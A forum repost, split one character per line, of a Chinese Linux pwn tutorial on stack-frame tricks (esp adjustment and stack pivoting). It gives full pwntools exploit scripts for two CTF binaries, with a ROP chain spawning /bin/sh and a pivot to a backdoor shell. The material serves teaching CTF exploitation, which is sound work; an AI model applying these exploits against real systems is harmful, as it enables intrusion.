论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[19363] 2018-07-19_Linuxpwn入门教程(4)——调整栈帧的技巧
文档创建者:
s7ckTeam
浏览次数:
7
最后更新:
2025-01-18
IOT
7 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2018-07-19_Linuxpwn入门教程(4)——调整栈帧的技巧
L
i
n
u
x
p
w
n
入
门
教
程
(
4
)
—
—
调
整
栈
帧
的
技
巧
i
春
秋
2
0
1
8
-
0
7
-
1
9
作
者
:
T
a
n
g
e
r
i
n
e
@
S
A
I
N
T
S
E
C
i
春
秋
社
区
在
存
在
栈
溢
出
的
程
序
中
,
有
时
候
我
们
会
碰
到
一
些
栈
相
关
的
问
题
,
例
如
溢
出
的
字
节
数
太
小
,
A
S
L
R
导
致
的
栈
地
址
不
可
预
测
等
。
针
对
这
些
问
题
,
我
们
有
时
候
需
要
通
过
g
a
d
g
e
t
s
调
整
栈
帧
以
完
成
攻
击
。
常
用
的
思
路
包
括
加
减
e
s
p
值
,
利
用
部
分
溢
出
字
节
修
改
e
b
p
值
并
进
行
s
t
a
c
k
p
i
v
o
t
等
。
修
改
修
改
e
s
p
扩
大
栈
空
间
扩
大
栈
空
间
我
们
先
来
尝
试
一
下
修
改
e
s
p
扩
大
栈
空
间
。
打
开
例
子
~
/
A
l
i
c
t
f
2
0
1
6
-
v
s
s
/
v
s
s
,
我
们
发
现
这
是
一
个
6
4
位
的
程
序
,
且
由
于
使
用
静
态
编
译
+
s
t
r
i
p
命
令
剥
离
符
号
,
整
个
程
序
看
起
来
乱
七
八
糟
的
。
我
们
先
找
到
m
a
i
n
函
数
I
D
A
载
入
后
窗
口
显
示
的
是
代
码
块
s
t
a
r
t
,
这
个
结
构
是
固
定
的
,
c
a
l
l
的
函
数
是
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
,
上
一
行
的
o
f
f
s
e
t
则
是
m
a
i
n
函
数
。
进
入
m
a
i
n
函
数
后
,
我
们
可
以
通
过
s
y
s
c
a
l
l
的
e
a
x
值
,
参
数
等
确
定
几
个
函
数
的
名
字
。
u
b
_
4
3
7
4
E
0
使
用
了
调
用
号
是
0
x
2
5
的
s
y
s
c
a
l
l
,
且
F
5
的
结
果
该
函
数
接
收
一
个
参
数
,
应
该
是
a
l
a
r
m
s
u
b
_
4
0
8
8
0
0
字
符
串
单
参
数
,
且
参
数
被
打
印
到
屏
幕
上
,
可
以
猜
测
是
p
u
t
s
s
u
b
_
4
3
7
E
A
0
调
用
s
u
b
_
4
3
7
E
B
D
,
使
用
了
0
号
s
y
s
c
a
l
l
,
且
接
收
三
个
参
数
,
推
测
为
r
e
a
d
分
析
后
的
m
a
i
n
函
数
如
下
:
被
命
名
为
v
e
r
i
f
y
的
函
数
内
部
太
过
复
杂
,
我
们
先
暂
且
放
弃
静
态
分
析
的
尝
试
,
通
过
向
程
序
中
输
入
大
量
字
符
串
我
们
发
现
程
序
存
在
溢
出
将
断
点
下
在
c
a
l
l
r
e
a
d
一
行
,
我
们
跟
踪
一
下
输
入
的
数
据
的
走
向
步
进
v
e
r
i
f
y
函
数
,
执
行
到
c
a
l
l
s
u
b
_
4
0
0
3
3
0
一
行
和
执
行
结
果
,
推
测
出
s
u
b
_
4
0
0
3
3
0
是
s
t
r
n
c
p
y
(
)
继
续
往
下
执
行
,
发
现
有
两
个
判
断
,
判
断
输
入
头
两
个
字
母
是
否
是
p
y
,
若
是
则
直
接
退
出
,
否
则
进
入
一
个
循
环
,
这
个
循
环
会
以
[
r
b
p
+
r
a
x
+
d
e
s
t
]
里
的
值
作
为
循
环
次
数
对
从
输
入
开
始
的
每
个
位
异
或
0
x
6
6
。
由
于
循
环
次
数
会
被
修
改
且
变
得
过
大
,
循
环
最
后
会
因
为
试
图
访
问
没
有
标
志
位
R
的
内
存
页
而
崩
溃
。
r
b
p
+
r
a
x
=
0
x
7
F
F
E
6
C
D
1
A
0
4
0
,
该
地
址
所
在
内
存
页
无
法
访
问
因
此
我
们
需
要
改
变
思
路
,
尝
试
一
下
在
输
入
的
开
头
加
上
“
p
y
”
,
这
回
发
现
了
一
个
数
据
可
控
的
栈
溢
出
通
过
观
察
数
据
我
们
很
容
易
发
现
被
修
改
的
E
I
P
是
通
过
s
t
r
n
c
p
y
复
制
到
输
入
前
面
的
0
x
5
0
个
字
节
的
最
后
8
个
。
由
于
没
有
l
i
b
c
,
o
n
e
g
a
d
g
e
t
R
C
E
使
不
出
来
,
且
使
用
了
s
t
r
n
c
p
y
,
字
符
串
里
不
能
有
x
0
0
,
否
则
会
被
当
做
字
符
串
截
断
从
而
无
法
复
制
满
0
x
5
0
字
节
制
造
可
控
溢
出
,
这
就
意
味
着
任
何
地
址
都
不
能
被
写
在
前
0
x
4
8
个
字
节
中
。
在
这
种
情
况
下
我
们
就
需
要
通
过
修
改
e
s
p
来
完
成
漏
洞
利
用
。
首
先
,
尽
管
我
们
有
那
么
多
的
限
制
条
件
,
但
是
在
m
a
i
n
函
数
中
我
们
看
到
r
e
a
d
函
数
的
参
数
指
明
了
长
度
是
0
x
4
0
0
。
幸
运
的
是
,
r
e
a
d
函
数
可
以
读
取
“
x
0
0
”
这
就
意
味
着
我
们
可
以
把
R
O
P
链
放
在
0
x
5
0
字
节
之
后
,
然
后
通
过
增
加
e
s
p
的
值
把
栈
顶
抬
到
R
O
P
链
上
。
我
们
搜
索
包
含
a
d
d
e
s
p
的
g
a
d
g
e
t
s
,
搜
索
到
了
一
些
结
果
通
过
这
个
g
a
d
g
e
t
,
我
们
成
功
把
e
s
p
的
值
增
加
到
0
x
5
0
之
后
。
接
下
来
我
们
就
可
以
使
用
熟
悉
的
R
O
P
技
术
调
用
s
y
s
_
r
e
a
d
读
取
”
/
b
i
n
/
s
h
x
0
0
”
字
符
串
,
最
后
调
用
s
y
s
_
e
x
e
c
v
e
了
。
构
建
R
O
P
链
和
完
整
脚
本
如
下
:
#
!
/
u
s
r
/
b
i
n
/
p
y
t
h
o
n
#
c
o
d
i
n
g
:
u
t
f
-
8
f
r
o
m
p
w
n
i
m
p
o
r
t
*
c
o
n
t
e
x
t
.
u
p
d
a
t
e
(
a
r
c
h
=
'
a
m
d
6
4
'
,
o
s
=
'
l
i
n
u
x
'
,
t
i
m
e
o
u
t
=
1
)
i
o
=
r
e
m
o
t
e
(
'
1
7
2
.
1
7
.
0
.
3
'
,
1
0
0
0
1
)
p
a
y
l
o
a
d
=
"
"
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
6
1
6
1
6
1
6
1
6
1
6
1
7
9
7
0
)
#
头
两
位
为
p
y
,
过
检
测
p
a
y
l
o
a
d
+
=
'
a
'
*
0
x
4
0
#
p
a
d
d
i
n
g
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
6
f
2
0
5
)
#
a
d
d
e
s
p
,
0
x
5
8
;
r
e
t
p
a
y
l
o
a
d
+
=
'
a
'
*
8
#
p
a
d
d
i
n
g
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
3
a
e
2
9
)
#
p
o
p
r
d
x
;
p
o
p
r
s
i
;
r
e
t
为
s
y
s
_
r
e
a
d
设
置
参
数
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
8
)
#
r
d
x
=
8
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
6
c
7
0
7
9
)
#
r
s
i
=
0
x
6
c
7
0
7
9
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
0
1
8
2
3
)
#
p
o
p
r
d
i
;
r
e
t
为
s
y
s
_
r
e
a
d
设
置
参
数
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
0
)
#
r
d
i
=
0
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
3
7
e
a
9
)
#
m
o
v
r
a
x
,
0
;
s
y
s
c
a
l
l
调
用
s
y
s
_
r
e
a
d
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
6
f
2
0
8
)
#
p
o
p
r
a
x
;
r
e
t
p
a
y
l
o
a
d
+
=
p
6
4
(
5
9
)
#
r
a
x
=
0
x
3
b
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
3
a
e
2
9
)
#
p
o
p
r
d
x
;
p
o
p
r
s
i
;
r
e
t
为
s
y
s
_
e
x
e
c
v
e
设
置
参
数
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
0
)
#
r
d
x
=
0
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
0
)
#
r
s
i
=
0
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
0
1
8
2
3
)
#
p
o
p
r
d
i
;
r
e
t
为
s
y
s
_
e
x
e
c
v
e
设
置
参
数
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
6
c
7
0
7
9
)
#
r
d
i
=
0
x
6
c
7
0
7
9
p
a
y
l
o
a
d
+
=
p
6
4
(
0
x
4
3
7
e
a
e
)
#
s
y
s
c
a
l
l
p
r
i
n
t
i
o
.
r
e
c
v
(
)
i
o
.
s
e
n
d
(
p
a
y
l
o
a
d
)
s
l
e
e
p
(
0
.
1
)
#
等
待
程
序
执
行
,
防
止
出
错
i
o
.
s
e
n
d
(
'
/
b
i
n
/
s
h
x
0
0
'
)
i
o
.
i
n
t
e
r
a
c
t
i
v
e
(
)
栈
帧
劫
持
栈
帧
劫
持
s
t
a
c
k
p
i
v
o
t
通
过
可
以
修
改
e
s
p
的
g
a
d
g
e
t
可
以
绕
过
一
些
限
制
,
扩
大
可
控
数
据
的
字
节
数
,
但
是
当
我
们
需
要
一
个
完
全
可
控
的
栈
时
这
种
小
把
戏
就
无
能
为
力
了
。
在
系
列
的
前
几
篇
文
章
中
我
们
提
到
过
数
次
A
L
S
R
,
即
地
址
空
间
布
局
随
机
化
。
这
是
一
个
系
统
级
别
的
安
全
防
御
措
施
,
无
法
通
过
修
改
编
译
参
数
进
行
控
制
,
且
目
前
大
部
分
主
流
的
操
作
系
统
均
实
现
且
默
认
开
启
A
S
L
R
。
正
如
其
名
,
在
开
启
A
S
L
R
之
前
,
一
个
进
程
中
所
有
的
地
址
都
是
确
定
的
,
不
论
重
复
启
动
多
少
次
,
进
程
中
的
堆
和
栈
等
的
地
址
都
是
固
定
不
变
的
。
这
就
意
味
着
我
们
可
以
把
需
要
用
到
的
数
据
写
在
堆
栈
上
,
然
后
直
接
在
脚
本
里
硬
编
码
这
个
地
址
完
成
攻
击
。
例
如
,
我
们
假
设
有
一
个
没
有
开
N
X
保
护
的
,
有
栈
溢
出
的
程
序
运
行
在
没
有
A
S
L
R
的
系
统
上
。
由
于
没
有
A
S
L
R
,
每
次
启
动
程
序
时
栈
地
址
都
是
0
x
7
f
f
f
0
0
0
0
.
那
么
我
们
直
接
写
入
s
h
e
l
l
c
o
d
e
并
且
利
用
栈
溢
出
跳
转
到
0
x
7
f
f
f
0
0
0
0
就
可
以
成
功
g
e
t
s
h
e
l
l
。
而
当
A
S
L
R
开
启
后
,
每
次
启
动
程
序
时
的
栈
和
堆
地
址
都
是
随
机
的
,
也
就
是
说
这
次
启
动
时
时
0
x
7
f
f
f
0
0
0
0
,
下
回
可
能
就
是
0
x
7
f
f
e
0
1
2
0
。
这
时
候
如
果
没
有
j
m
p
e
s
p
一
类
的
g
a
d
g
e
t
,
攻
击
就
会
失
效
。
而
s
t
a
c
k
p
i
v
o
t
这
种
技
术
就
是
一
个
对
抗
A
S
L
R
的
利
器
。
s
t
a
c
k
p
i
v
o
t
之
所
以
重
要
,
是
因
为
其
利
用
到
的
g
a
d
g
e
t
几
乎
不
可
能
找
不
到
。
在
函
数
建
立
栈
帧
时
有
两
条
指
令
p
u
s
h
e
b
p
;
m
o
v
e
b
p
,
e
s
p
,
而
退
出
时
同
样
需
要
消
除
这
两
条
指
令
的
影
响
,
即
l
e
a
v
e
(
m
o
v
e
s
p
,
e
b
p
;
p
o
p
e
b
p
)
。
且
l
e
a
v
e
一
般
紧
跟
着
就
是
r
e
t
。
因
此
,
在
存
在
栈
溢
出
的
程
序
中
,
只
要
我
们
能
控
制
到
栈
中
的
e
b
p
,
我
们
就
可
以
通
过
两
次
l
e
a
v
e
劫
持
栈
。
第
一
次
l
e
a
v
e
;
r
e
t
,
n
e
w
e
s
p
为
栈
劫
持
的
目
标
地
址
。
可
以
看
到
执
行
到
r
e
t
n
时
,
e
s
p
还
在
原
来
的
栈
上
,
e
b
p
已
经
指
向
了
新
的
栈
顶
。
第
二
次
l
e
a
v
e
;
r
e
t
实
际
决
定
栈
位
置
的
寄
存
器
e
s
p
已
经
被
成
功
劫
持
到
新
的
栈
上
,
执
行
完
g
a
d
g
e
t
后
栈
顶
会
在
n
e
w
e
s
p
-
4
(
6
4
位
是
-
8
)
的
位
置
上
。
此
时
栈
完
全
可
控
通
过
预
先
或
者
之
后
在
n
e
w
s
t
a
c
k
上
布
置
数
据
可
以
轻
松
完
成
攻
击
我
们
来
看
一
个
实
际
的
例
子
~
/
p
w
n
a
b
l
e
.
k
r
-
l
o
g
i
n
/
l
o
g
i
n
.
这
个
程
序
的
逻
辑
很
简
单
,
且
预
留
了
一
个
s
y
s
t
e
m
(
“
/
b
i
n
/
s
h
”
)
后
门
。
程
序
要
求
我
们
输
入
一
个
b
a
s
e
6
4
编
码
过
的
字
符
串
,
随
后
会
进
行
解
码
并
且
复
制
到
位
于
b
s
s
段
的
全
局
变
量
i
n
p
u
t
中
,
最
后
使
用
a
u
t
h
函
数
进
行
验
证
,
通
过
后
进
入
带
有
后
门
的
c
o
r
r
e
c
t
(
)
打
开
s
h
e
l
l
打
开
a
u
t
h
函
数
,
我
们
发
现
这
个
a
u
t
h
的
手
段
实
际
上
是
计
算
m
d
5
并
进
行
比
对
,
显
然
以
我
们
的
水
平
要
在
短
时
间
里
做
到
m
d
5
碰
撞
不
现
实
。
但
万
幸
的
是
,
这
里
的
m
e
m
c
p
y
似
乎
会
造
成
一
个
栈
溢
出
。
我
们
可
以
看
到
只
有
选
择
选
项
2
才
会
调
用
函
数
c
h
a
n
g
e
_
m
a
j
o
r
(
)
,
其
他
选
项
都
只
是
打
印
出
一
些
内
容
。
进
入
c
h
a
n
g
e
_
m
a
j
o
r
(
)
后
,
我
们
发
现
了
一
个
栈
溢
出
:
调
试
发
现
不
幸
的
是
我
们
不
能
控
制
E
I
P
,
只
能
控
制
到
E
B
P
。
这
就
需
要
用
到
s
t
a
c
k
p
i
v
o
t
把
对
E
B
P
的
控
制
转
化
为
对
E
I
P
的
控
制
了
。
由
于
程
序
把
解
码
后
的
输
入
复
制
到
地
址
固
定
的
.
b
s
s
段
上
,
且
从
a
u
t
h
到
程
序
结
束
总
共
要
经
过
a
u
t
h
和
m
a
i
n
两
个
函
数
的
l
e
a
v
e
;
r
e
t
n
。
我
们
可
以
将
栈
劫
持
到
保
存
有
输
入
的
.
b
s
s
段
上
。
毫
无
疑
问
,
b
a
s
e
6
4
加
密
前
的
1
2
个
字
节
的
最
后
4
个
留
给
.
b
s
s
段
上
数
据
的
首
地
址
0
x
8
1
1
e
b
4
0
.
根
据
之
前
的
推
演
,
执
行
到
第
二
次
r
e
t
n
时
e
s
p
=
n
e
w
e
s
p
-
4
,
所
以
头
4
个
字
节
应
该
是
填
充
位
,
中
间
四
个
字
节
就
是
后
门
的
地
址
。
即
输
入
布
局
如
下
:
构
造
脚
本
如
下
:
#
!
/
u
s
r
/
b
i
n
/
p
y
t
h
o
n
#
c
o
d
i
n
g
:
u
t
f
-
8
f
r
o
m
p
w
n
i
m
p
o
r
t
*
f
r
o
m
b
a
s
e
6
4
i
m
p
o
r
t
*
c
o
n
t
e
x
t
.
u
p
d
a
t
e
(
a
r
c
h
=
'
i
3
8
6
'
,
o
s
=
'
l
i
n
u
x
'
,
t
i
m
e
o
u
t
=
1
)
i
o
=
r
e
m
o
t
e
(
"
1
7
2
.
1
7
.
0
.
2
"
,
1
0
0
0
1
)
p
a
y
l
o
a
d
=
"
a
a
a
a
"
#
p
a
d
d
i
n
g
p
a
y
l
o
a
d
+
=
p
3
2
(
0
x
0
8
0
4
9
2
8
4
)
#
s
y
s
t
e
m
(
"
/
b
i
n
/
s
h
"
)
地
址
,
整
个
p
a
y
l
o
a
d
被
复
制
到
b
s
s
上
,
栈
劫
持
后
r
e
t
n
时
栈
顶
在
这
里
p
a
y
l
o
a
d
+
=
p
3
2
(
0
x
0
8
1
1
e
b
4
0
)
#
新
的
e
s
p
地
址
i
o
.
s
e
n
d
l
i
n
e
(
b
6
4
e
n
c
o
d
e
(
p
a
y
l
o
a
d
)
)
i
o
.
i
n
t
e
r
a
c
t
i
v
e
(
)
需
要
注
意
的
是
,
s
t
a
c
k
p
i
v
o
t
是
一
个
比
较
重
要
的
技
术
。
在
接
下
来
的
S
R
O
P
和
r
e
t
2
d
l
_
r
e
s
o
l
v
e
中
我
们
还
将
利
用
到
这
个
技
术
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页